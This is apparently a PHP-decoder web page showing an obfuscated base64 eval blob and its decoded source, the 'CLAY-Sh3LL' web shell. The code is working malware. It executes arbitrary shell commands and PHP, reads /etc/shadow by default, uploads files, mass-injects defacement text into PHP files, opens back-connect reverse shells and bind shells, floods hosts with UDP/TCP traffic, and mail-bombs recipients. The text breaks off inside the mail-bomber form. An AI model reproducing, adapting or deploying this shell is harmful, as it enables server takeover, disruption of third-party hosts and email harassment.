Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAgDQoNCiR1c2VyID0gIkNMQVlURUFNIjsgDQokcGFzcyA9ICJ4aG..
Decoded Output download
?>b'<?php
$user = "CLAYTEAM";
$pass = "xhack3rx";
error_reporting(0);
ini_set(\'max_execution_time\',0);
// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
/**************** Defines *********************************/
$lock = "on"; // set this to off if you dont need the login page
$tracebackFeature = "on"; // set this feature to enable email alerts
$ownerEmail = "[email protected]"; // Change this to your email , This email is used to deliver tracebacks about your shell
$url = (!empty($_SERVER[\'HTTPS\'])) ? "https://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'] : "http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$phpVersion=phpversion();
$self=$_SERVER["PHP_SELF"]; // Where am i
$sm = @ini_get(\'safe_mode\');
$SEPARATOR = \'/\'; // Default Directory separator
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
$SEPARATOR = \'\\';
$os = "Windows";
}
else if(stristr(php_uname(),"Linux"))
{
$os = "Linux";
}
//*************************************************************/
// -------------- Traceback Functions
function sendLoginAlert()
{
global $ownerEmail;
global $url;
$accesedIp = $_SERVER[\'REMOTE_ADDR\'];
$randomInt = rand(0,1000000); # to avoid id blocking
$from = "[email protected]";
//echo $from;
if(function_exists(\'mail\'))
{
$subject = "Shell Accessed -- CLAY-Sh3LL --";
$message = "
Hey Owner ,
Your Shell(Madleet-Shell) located at $url was accessed by $accesedIp
If its not you :-
1. Please check if the shell is secured.
2. Change your user name and Password.
3. Check if lock is 0n!
and Kick that ****** out!
Thanking You
Yours Faithfully
CLAY-Sh3LL
";
mail($ownerEmail,$subject,$message,\'From:\'.$from);
}
}
//---------------------------------------------------------
if(function_exists(\'session_start\') && $lock == \'on\')
{
session_start();
}
else
{
// The lock will be set to \'off\' if the session_start fuction is disabled i.e if sessions are not supported
$lock = \'off\';
}
//logout
if(isset($_GET[\'logout\']) && $lock == \'on\')
{
$_SESSION[\'authenticated\'] = 0;
session_destroy();
header("location: ".$_SERVER[\'PHP_SELF\']);
}
ini_set(\'max_execution_time\',0);
/***************** Restoring *******************************/
ini_restore("safe_mode_include_dir");
ini_restore("safe_mode_exec_dir");
ini_restore("disable_functions");
ini_restore("allow_url_fopen");
ini_restore("safe_mode");
ini_restore("open_basedir");
if(function_exists(\'ini_set\'))
{
ini_set(\'error_log\',NULL); // No alarming logs
ini_set(\'log_errors\',0); // No logging of errors
ini_set(\'file_uploads\',1); // Enable file uploads
ini_set(\'allow_url_fopen\',1); // allow url fopen
}
else
{
ini_alter(\'error_log\',NULL);
ini_alter(\'log_errors\',0);
ini_alter(\'file_uploads\',1);
ini_alter(\'allow_url_fopen\',1);
}
// ----------------------------------------------------------------------------------------------------------------
?>
<html>
<head>
<title>"CLAY-Sh3LL" | WhoAmi | Tunisia</title>
<style>
/*
==========================
CSS Section
==========================
*/
*{
padding:0;
margin:0;
}
.alert
{
background:red;
color:white;
font-weight:bold;
}
td.info
{
width:0px;
}
.bind
{
border: 1px solid #333333;
margin: 15px auto 0;
font-size: small;
}
div.end *
{
font-size:small;
}
div.end
{
width:100%;
background:#222;
}
p.blink
{
text-decoration: blink;
}
body
{
background-color:black;
color:rgb(35,182,39);
font-family:Tahoma,Verdana,Arial;
font-size: small;
}
input.own {
background-color: #004848;
color: white;
border : 1px solid #FF0000;
}
blockquote.small
{
font-size: smaller;
color: silver;
text-align: center;
}
table.files
{
border-spacing: 10px;
font-size: small;
}
h1 {
padding: 4px;
padding-bottom: 0px;
margin-right : 5px;
}
div.logo
{
border-right: 1px #19d0d0;
}
div.header
{
padding-left: 5px;
font-size: small;
text-align: left;
}
div.nav
{
margin-top:1px;
height:30px;
background-color: #FF0000;
}
div.nav ul
{
list-style: none;
padding: 4px;
}
div.nav li
{
float: left;
margin-right: 10px;
text-align:center;
}
textarea.cmd
{
border : 1px solid #111;
background-color : #004848;
font-family: Shell;
color : white;
margin-top: 10px;
font-size:small;
}
input.cmd
{
background-color:black;
color: white;
width: 400px;
border : 1px solid #FF0000;
}
td.maintext
{
font-size: large;
}
#margins
{
margin-left: 10px;
margin-top: 10px;
color:white;
}
table.top
{
border-bottom: 1px #16f601;
width: 100%;
}
#borders
{
border-top : 1px #16f601;
border-left:1px #16f601;
border-bottom: 1px #16f601;
border-right: 1px #16f601;
margin-bottom:0;
}
td.file a , .file a
{
color : aqua;
text-decoration:none;
}
a.dir
{
color:white;
font-weight:bold;
text-decoration:none;
}
td.dir a
{
color : white;
text-decoration:none;
}
td.download,td.download2
{
color:#004848;
}
#spacing
{
padding:10px;
margin-left:200px;
}
th.header
{
background: none repeat scroll 0 0 #191919;
color: white;
border-bottom : 1px solid #333333;
}
p.warning
{
background : red;
color: white;
}
/*
--------------------------------CSS END------------------------------------------------------
*/
</style>
</head>
<body text="rgb(39,245,10)" bgcolor="black">
<?php
if(isset($_POST[\'user\']) && isset($_POST[\'pass\']) && $lock == \'on\')
{
if( $_POST[\'user\'] == $user &&
$_POST[\'pass\'] == $pass )
{
$_SESSION[\'authenticated\'] = 1;
// --------------------- Tracebacks --------------------------------
if($tracebackFeature == \'On\')
{
sendLoginAlert();
}
// ------------------------------------------------------------------
}
}
if($lock == \'off\')
{?>
<p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
<?php
}
if($lock == \'on\' && (!isset($_SESSION[\'authenticated\']) || $_SESSION[\'authenticated\']!=1) )
{
?>
<table>
<tbody>
<tr>
<pre>
<center><font color="Orange">
<b><title>[!] CLaYTeaM - SheLL</title>
<link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="http://i.imgur.com/6kBd5g4.png" alt="logo">
<br><br><br>
<body bgcolor=\'black\'>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:60px">[!] Official CLaYTeaM SheLL</font>
</center>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></font> </center>
</b>
</pre>
</td>
<!-- <h1><?php // echo $greeting;?></h1>
<img src="Logo_03.png" class="imageForm" /> -->
<form method="POST" action="<?php echo $_SERVER[\'PHP_SELF\'];?>">
<input name="user" value="Username"/> <input name="pass" type="password" value="Password"/> <input class="own" type="Submit" value="Own This Box!"/>
</form>
</td>
</tr>
</tbody>
</table>
<?php
}
//---------------------------------- We are authenticated now-------------------------------------
//Launch the shell
else
{
//---------------------------------- Fuctions ---------------------------------------------------
function showDrives()
{
global $self;
foreach(range(\'A\',\'Z\') as $drive)
{
if(is_dir($drive.\':\\'))
{
?>
<a class="dir" href=\'<?php echo $self ?>?dir=<?php echo $drive.":\"; ?>\'>
<?php echo $drive.":\" ?>
</a>
<?php
}
}
}
function HumanReadableFilesize($size)
{
$mod = 1024;
$units = explode(\' \',\'B KB MB GB TB PB\');
for ($i = 0; $size > $mod; $i++)
{
$size /= $mod;
}
return round($size, 2) . \' \' . $units[$i];
}
function getClientIp()
{
echo $_SERVER[\'REMOTE_ADDR\'];
}
function getServerIp()
{
echo getenv(\'SERVER_ADDR\');
}
function getSoftwareInfo()
{
echo php_uname();
}
function diskSpace()
{
echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
echo HumanReadableFilesize(disk_free_space("/"));
}
function getSafeMode()
{
global $sm;
echo($sm?"ON :( :\'( (Most of the Features will Not Work!)":"OFF");
}
function getDisabledFunctions()
{
if(!ini_get(\'disable_functions\'))
{
echo "None";
}
else
{
echo @ini_get(\'disable_functions\');
}
}
function getFilePermissions($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = \'s\';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = \'l\';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = \'-\';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = \'b\';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = \'d\';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = \'c\';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = \'p\';
} else {
// Unknown
$info = \'u\';
}
// Owner
$info .= (($perms & 0x0100) ? \'r\' : \'-\');
$info .= (($perms & 0x0080) ? \'w\' : \'-\');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? \'s\' : \'x\' ) :
(($perms & 0x0800) ? \'S\' : \'-\'));
// Group
$info .= (($perms & 0x0020) ? \'r\' : \'-\');
$info .= (($perms & 0x0010) ? \'w\' : \'-\');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? \'s\' : \'x\' ) :
(($perms & 0x0400) ? \'S\' : \'-\'));
// World
$info .= (($perms & 0x0004) ? \'r\' : \'-\');
$info .= (($perms & 0x0002) ? \'w\' : \'-\');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? \'t\' : \'x\' ) :
(($perms & 0x0200) ? \'T\' : \'-\'));
return $info;
}
/***********************************************************/
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
// Turned OfF!
/**********************************************************/
function exec_all($command)
{
$output = \'\';
if(function_exists(\'exec\'))
{
exec($command,$output);
$output = join("
",$output);
}
else if(function_exists(\'shell_exec\'))
{
$output = shell_exec($command);
}
else if(function_exists(\'popen\'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fread($handle, 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($handle))
{
$output .= fgets($handle,512);
}
}
}
pclose($handle);
}
else if(function_exists(\'system\'))
{
ob_start(); //start output buffering
system($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'passthru\'))
{
ob_start(); //start output buffering
passthru($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists(\'proc_open\'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array \'pipes\'
if(is_resource($handle))
{
if(function_exists(\'fread\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fread($pipes[1], 512);
}
}
else if(function_exists(\'fgets\') && function_exists(\'feof\'))
{
while(!feof($pipes[1]))
{
$output .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
else
{
$output = "They have their Security there! :( ";
}
return(htmlspecialchars($output));
}
function magicQuote($text)
{
if (!get_magic_quotes_gpc())
{
return $text;
}
return stripslashes($text);
}
//------------------------------------------------------------------------------------------------
?>
<table class="top">
<tbody>
<tr>
<td>
<div class="logo">
<h1><link href=\'http://fonts.googleapis.com/css?family=Iceland\' rel=\'stylesheet\' type=\'text/css\'>
<style>body{cursor:url("../www.madleets.com/elhacker.cur"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}</style>
<center><img src="http://i.imgur.com/6kBd5g4.png" alt="logo">
</center>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"></h1><blockquote class="small">Shell</blockquote>
</div>
</td>
<td>
<div class="header">
<?php getSoftwareInfo(); ?><br />
Your IP : <?php getClientIp(); ?> <font color="silver" >|</font> Server IP : <?php getServerIp();?> <br />
Safe Mode : <?php getSafeMode(); ?><br />
<?php if($os == \'Windows\'){ echo showDrives();} ?> <?php echo getcwd();?>
</div>
</td>
</tr>
</tbody>
</table>
<div class="header" id="borders">
Server ADMIN: <?php echo $_SERVER[\'SERVER_ADMIN\'];?> <font color="silver" >|</font>
PHP VERSION : <?php echo $phpVersion; ?> <font color="silver" >|</font>
Curl : <?php echo function_exists(\'curl_version\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
Oracle : <?php echo function_exists(\'ocilogon\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
MySQL : <?php echo function_exists(\'mysql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled");?> <font color="silver" >|</font>
MSSQL : <?php echo function_exists(\'mssql_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
PostgreSQL : <?php echo function_exists(\'pg_connect\')?("<font color=\'red\'>Enabled</font>"):("Disabled"); ?> <font color="silver" >|</font>
Disable functions : <?php getDisabledFunctions(); ?> <font color="silver" >|</font>
Space : <?php diskSpace(); ?> <font color="silver" >|</font>
Free : <?php freeSpace(); ?>
</table>
</div>
<div class="nav">
<ul>
<li><a href="<?php echo $self;?>">Home</a></li>
<li><a href="<?php echo $self.\'?upload\';?>">Upload</a></li>
<li><a href="<?php echo $self.\'?shell\';?>">Shell</a></li>
<li><a href="<?php echo $self.\'?dos\';?>">DDoS</a></li>
<li><a href="<?php echo $self.\'?fuzz\';?>">Web-Server Fuzzer</a></li>
<li><a href="<?php echo $self.\'?mail\'?>">Mass Mailer</a></li>
<li><a href="<?php echo $self.\'?bomb\'?>">Mail Bomber</a></li>
<li><a href="<?php echo $self.\'?connect\'?>">Connect</a></li>
<li><a href="<?php echo $self.\'?injector\'?>">Mass Code Injector</a></li>
<li><a href="<?php echo $self.\'?decode\'?>">PHP Decoder</a></li>
<li><a href="<?php echo $self.\'?eval\'?>">PHP Evaluate</a></li>
<?php if($lock == \'on\')
{
?>
<li><a href="<?php echo $self.\'?logout\'?>">I m Out!</a></li>
<?php
}
?>
</ul>
</div>
<?php
//-------------------------------- Check what he wants -------------------------------------------
// Shell
if(isset($_GET[\'shell\']))
{
if(!isset($_GET[\'cmd\']) || $_GET[\'cmd\'] == \'\')
{
$result = "";
}
else
{
$result=exec_all($_GET[\'cmd\']);
}
?>
<textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea><br /><br />
<form action="<?php echo $self;?>" method="GET">
<!-- For Shell -->
<input name="shell" type="hidden" />
<!-- For CMD -->
<input name="cmd" class="cmd" />
<input name="submit" value="Spin That Shit!" class="own" type="submit" />
</form>
<?php
}
// PHP evaluate
else if(isset($_GET[\'eval\']))
{
?>
<form method="POST">
<textarea name="code" class="cmd" cols="100" rows="20"><?php
// If the comand was sent
if(isset($_POST[\'code\'])
&& $_POST[\'code\']
)
{
// FIlter Some Chars we dont need
$code = str_replace("<?php","",$_POST[\'code\']);
$code = str_replace("<?","",$code);
$code = str_replace("?>","",$code);
// Evaluate PHP CoDE!
htmlspecialchars(eval($code));
}
else
{
?>echo file_get_contents(\'/etc/shadow\');<?php
}
?></textarea><br /><br />
<input name="submit" value="Eval That COde! :D" class="own" type="submit" />
</form>
<?php
}
// Upload
else if(isset($_GET[\'upload\']))
{
if (isset($_POST[\'file\']) &&
isset($_POST[\'path\'])
)
{
$path = $_POST[\'path\'];
if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;}
if(is_dir($path))
{
$uploadedFilePath = $_FILES[\'file\'][\'name\'];
$tempName = $_FILES[\'file\'][\'tmp_name\'];
$uploadPath = $path . $uploadedFilePath;
$stat = move_uploaded_file($tempName , $uploadedFilePath);
if ($stat)
{
echo "<p class=\'warning\'>File uploaded to $uploadPath</p>";
}
else
{
echo "<p class=\'warning\' > :( :\'( Failed to upload file to $uploadPath</p>";
}
}
}
else
{
?>
<table class="bind" align="center" >
<tr>
<th class="header" colspan="1" width="50px">Upload (From ur Computer)</th>
</tr>
<tr>
<td>
<table style="border-spacing: 6px;">
<form method="POST" enctype="multipart/form-data">
<tr>
<td width="100"><input type="file" name="file"/></td>
<td><input type="submit" name="file" class="own" value="Upload"/></td>
</tr>
<tr>
<td colspan="2">
<input class=\'cmd\' style="width: 280px;" name=\'path\' value="<?php echo getcwd(); ?>" />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
<?php
}
}
// Code Injector
else if(isset($_GET[\'injector\']))
{
if(isset($_GET[\'dir\']) &&
$_GET[\'dir\'] != \'\' &&
isset($_GET[\'filetype\']) &&
$_GET[\'filetype\'] != \'\' &&
isset($_GET[\'mode\']) &&
$_GET[\'mode\'] != \'\' &&
isset($_GET[\'message\']) &&
$_GET[\'message\'] != \'\'
)
{
$dir = $_GET[\'dir\'];
$filetype = $_GET[\'filetype\'];
$message = $_GET[\'message\'];
$mode = "a"; //default mode
// Modes Begin
if($_GET[\'mode\'] == \'Apender\')
{
$mode = "a";
}
if($_GET[\'mode\'] == \'Overwriter\')
{
$mode = "w";
}
if($handle = opendir($dir))
{
?>
Overwritten Files :-
<ul style="padding: 10px;" >
<?php
while(($file = readdir($handle)) !== False)
{
if((preg_match("/$filetype".\'$\'.\'/\', $file , $matches) != 0) && (preg_match(\'/\'.$file.\'$/\', $self , $matches) != 1))
{
?>
<li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li>
<?php
echo "
";
$fd = fopen($dir.$file,$mode);
fwrite($fd,$message);
}
}
?>
</ul>
<?php
}
}
else
{
?>
<table id="margins" >
<tr>
<form method=\'GET\'>
<input type="hidden" name="injector"/>
<tr>
<td width="100" class="title">
Directory
</td>
<td>
<input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" />
</td>
</tr>
<tr>
<td class="title">
Mode
</td>
<td>
<select style="width: 400px;" name="mode" class="cmd">
<option value="Apender">Apender</option>
<option value="Overwriter">Overwriter</option>
</select>
</td>
</tr>
<tr>
<td class="title">
File Type
</td>
<td>
<input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value==\'\')this.value=\'.php\';" />
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/>
</td>
</tr>
</form>
</table>
<?php
}
}
// Connect
else if(isset($_GET[\'connect\']))
{
if(isset($_POST[\'ip\']) &&
isset($_POST[\'port\']) &&
$_POST[\'ip\'] != "" &&
$_POST[\'port\'] != ""
)
{
echo "<p>The Program is now trying to connect!</p>";
$ip = $_POST[\'ip\'];
$port=$_POST[\'port\'];
$sockfd=fsockopen($ip , $port , $errno, $errstr );
if($errno != 0)
{
echo "<font color=\'red\'><b>$errno</b> : $errstr</font>";
}
else if (!$sockfd)
{
$result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
}
else
{
fputs ($sockfd ,"
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================");
$pwd = exec_all("pwd");
$sysinfo = exec_all("uname -a");
$id = exec_all("id");
$dateAndTime = exec_all("time /t & date /T");
$len = 1337;
fputs($sockfd ,$sysinfo . "
" );
fputs($sockfd ,$pwd . "
" );
fputs($sockfd ,$id ."
" );
fputs($sockfd ,$dateAndTime."
" );
while(!feof($sockfd))
{
$cmdPrompt ="(ClayTeaM-Shell)[$]> ";
fputs ($sockfd , $cmdPrompt );
$command= fgets($sockfd, $len);
fputs($sockfd , "
" . exec_all($command) . "
");
}
fclose($sockfd);
}
}
else if(
isset($_POST[\'port\']) &&
isset($_POST[\'passwd\']) &&
$_POST[\'port\'] != "" &&
$_POST[\'passwd\'] != "" )
{
// Set time limit to indefinite execution
set_time_limit (0);
// Set the ip and port we will listen on
$address = \'127.0.0.1\';
$port = $_POST[\'port\'];
$pass = $_POST[\'passwd\'];
if(function_exists("socket_create"))
{
// Create a TCP Stream socket
$sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// Bind the socket to an address/port
if(socket_bind($sockfd, $address, $port) == FALSE)
{
echo "Cant Bind to the specified port and address!";
}
// Start listening for connections
socket_listen($sockfd,15);
$passwordPrompt = "
=================================================================
ClayTeam-Shell | C0d3d by WhoAmi | Tunisia
=================================================================
0xPassword : ";
/* Accept incoming requests and handle them as child processes */
$client = socket_accept($sockfd);
socket_write($client , $passwordPrompt);
// Read the pass from the client
$input = socket_read($client, strlen($pass) + 2); // +2 for
if(trim($input) == $pass)
{
socket_write($client , "
");
socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t") . "
" . exec_all("ver") : exec_all("date") . "
" . exec_all("uname -a"));
socket_write($client , "
");
while(1)
{
// Print Command prompt
$commandPrompt ="(Madleet-Shell)[$]> ";
$maxCmdLen = 31337;
socket_write($client,$commandPrompt);
$cmd = socket_read($client,$maxCmdLen);
if($cmd == FALSE)
{
echo "The client Closed the conection!";
break;
}
socket_write($client , exec_all($cmd));
}
}
else
{
echo "Wrong Password!";
socket_write($client, "sU(|< - 0FF Bitch!
");
}
socket_shutdown($client, 2);
socket_close($socket);
// Close the client (child) socket
//socket_close($client);
// Close the master sockets
//socket_close($sock);
}
else
{
echo "Socket Conections not Allowed/Supported by the server! <br />";
}
}
else
{
?>
<table class="bind" align="center" >
<tr>
<th class="header" colspan="1" width="50px">Back Connect</th>
<th class="header" colspan="1" width="50px">Bind Shell</th>
</tr>
<tr>
<form method=\'POST\' >
<td>
<table style="border-spacing: 6px;">
<tr>
<td>IP </td>
<td>
<input style="width: 200px;" class="cmd" name="ip" value="<?php getClientIp();?>" />
</td>
</tr>
<tr>
<td>Port </td>
<td><input style="width: 100px;" class="cmd" name="port" size=\'5\' value="31337"/> <input style="width: 90px;" class="own" type="submit" value="Connect!"/></td>
</tr>
</table>
</td>
</form>
<form method="POST">
<td>
<table style="border-spacing: 6px;">
<tr>
<td>Port</td>
<td>
<input style="width: 200px;" class="cmd" name="port" value="1337" />
</td>
</tr>
<tr>
<td>Passwd </td>
<td><input style="width: 100px;" class="cmd" name="passwd" size=\'5\' value="Madleet"/> <input style="width: 90px;" class="own" type="submit" value="Bind :D!"/></td>
</tr>
</table>
</td>
</form>
</tr>
</table>
<p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
}
}
//fuzzer
else if(isset($_GET[\'fuzz\']))
{
if(isset($_GET[\'ip\']) &&
isset($_GET[\'port\']) &&
isset($_GET[\'times\']) &&
isset($_GET[\'time\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'messageMultiplier\']) &&
$_GET[\'message\'] != "" &&
$_GET[\'time\'] != "" &&
$_GET[\'times\'] != "" &&
$_GET[\'port\'] != "" &&
$_GET[\'ip\'] != "" &&
$_GET[\'messageMultiplier\'] != ""
)
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$times = $_GET[\'times\'];
$timeout = $_GET[\'time\'];
$send = 0;
$ending = "";
$multiplier = $_GET[\'messageMultiplier\'];
$data = "";
$mode="tcp";
$data .= "GET /";
$ending .= " HTTP/1.1
";
if($_GET[\'type\'] == "tcp")
{
$mode = "tcp";
}
while($multiplier--)
{
$data .= urlencode($_GET[\'message\']);
}
$data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
$data .= "by-Madleet-shell".$ending;
$length = strlen($data);
echo "Sending Data :- <br /> <p align=\'center\'>$data</p>";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
for($i=0;$i<$times;$i++)
{
$socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data , $length );
fclose($socket);
}
}
echo "<script>alert(\'Fuzzing Completed!\');</script>";
echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $times . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="fuzz" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout
</td>
<td>
<input type="text" class="cmd" name="time" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';"/>
</td>
</tr>
<tr>
<td class="title">
No of times
</td>
<td>
<input type="text" class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';" />
</td>
</tr>
<tr>
<td class="title">
Message <font color="red">(The message Should be long and it will be multiplied with the value after it)</font>
</td>
<td>
<input class="cmd" name="message" value="%S%x--Some Garbage here --%x%S" onfocus="if(this.value == \'%S%x--Some Garbage here --%x%S\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'%S%x--Some Garbage here --%x%S\';"/>
</td>
<td>
x
</td>
<td width="20">
<input style="width: 30px;" class="cmd" name="messageMultiplier" value="10" />
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
//DDos
else if(isset($_GET[\'dos\']))
{
if(isset($_GET[\'ip\']) &&
isset($_GET[\'exTime\']) &&
isset($_GET[\'port\']) &&
isset($_GET[\'timeout\']) &&
isset($_GET[\'exTime\']) &&
$_GET[\'exTime\'] != "" &&
$_GET[\'port\'] != "" &&
$_GET[\'ip\'] != "" &&
$_GET[\'timeout\'] != "" &&
$_GET[\'exTime\'] != ""
)
{
$IP=$_GET[\'ip\'];
$port=$_GET[\'port\'];
$executionTime = $_GET[\'exTime\'];
$noOfBytes = $_GET[\'noOfBytes\'];
$data = "";
$timeout = $_GET[\'timeout\'];
$packets = 0;
$counter = $noOfBytes;
$maxTime = time() + $executionTime;;
while($counter--)
{
$data .= "X";
}
$data .= "-by-Madleet-Shell";
print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
while(1)
{
$socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
if($socket)
{
fwrite($socket , $data);
fclose($socket);
$packets++;
}
if(time() >= $maxTime)
{
break;
}
}
echo "<script>alert(\'DDos Completed!\');</script>";
echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
echo "Total Number of Packets Sent : " . $packets . "<br />";
echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
}
else
{
?>
<form method="GET">
<input type="hidden" name="dos" />
<table id="margins">
<tr>
<td width="400" class="title">
IP
</td>
<td>
<input class="cmd" name="ip" value="127.0.0.1" onfocus="if(this.value == \'127.0.0.1\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'127.0.0.1\';"/>
</td>
</tr>
<tr>
<td class="title">
Port
</td>
<td>
<input class="cmd" name="port" value="80" onfocus="if(this.value == \'80\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'80\';"/>
</td>
</tr>
<tr>
<td class="title">
Timeout <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="cmd" name="timeout" value="5" onfocus="if(this.value == \'5\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'5\';" />
</td>
</tr>
<tr>
<td class="title">
Execution Time <font color="red">(Time in seconds)</font>
</td>
<td>
<input type="text" class="cmd" name="exTime" value="10" onfocus="if(this.value == \'10\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'10\';"/>
</td>
</tr>
<tr>
<td class="title">
No of Bytes per/packet
</td>
<td>
<input type="text" class="cmd" name="noOfBytes" value="999999" onfocus="if(this.value == \'999999\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'999999\';"/>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="own" value="Let it Rip! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
// Mail Bomber
else if(isset($_GET[\'bomb\']))
{
if(
isset($_GET[\'to\']) &&
isset($_GET[\'subject\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'times\']) &&
$_GET[\'to\'] != \'\' &&
$_GET[\'subject\'] != \'\' &&
$_GET[\'message\'] != \'\' &&
$_GET[\'times\'] != \'\'
)
{
$times = $_GET[\'times\'];
while($times--)
{
if(isset($_GET[\'padding\']))
{
$fromPadd = rand(0,9999);
$subjectPadd = " -- ID : ".rand(0,9999999);
$messagePadd = "
------------------------------
".rand(0,99999999);
}
$from = "[email protected]";
if(!mail($_GET[\'to\'],$_GET[\'subject\'].$subjectPadd,$_GET[\'message\'].$messagePadd,"From:".$from))
{
$error = 1;
echo "<p class=\'alert\'>Some Error Occured!</p>";
break;
}
}
if($error != 1)
{
echo "<p class=\'alert\'>Mail(s) Sent!</p>";
}
}
else
{
?>
<form method="GET">
<input type="hidden" name="bomb" />
<table id="margins">
<tr>
<td class="title">
To
</td>
<td>
<input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
Subject
</td>
<td>
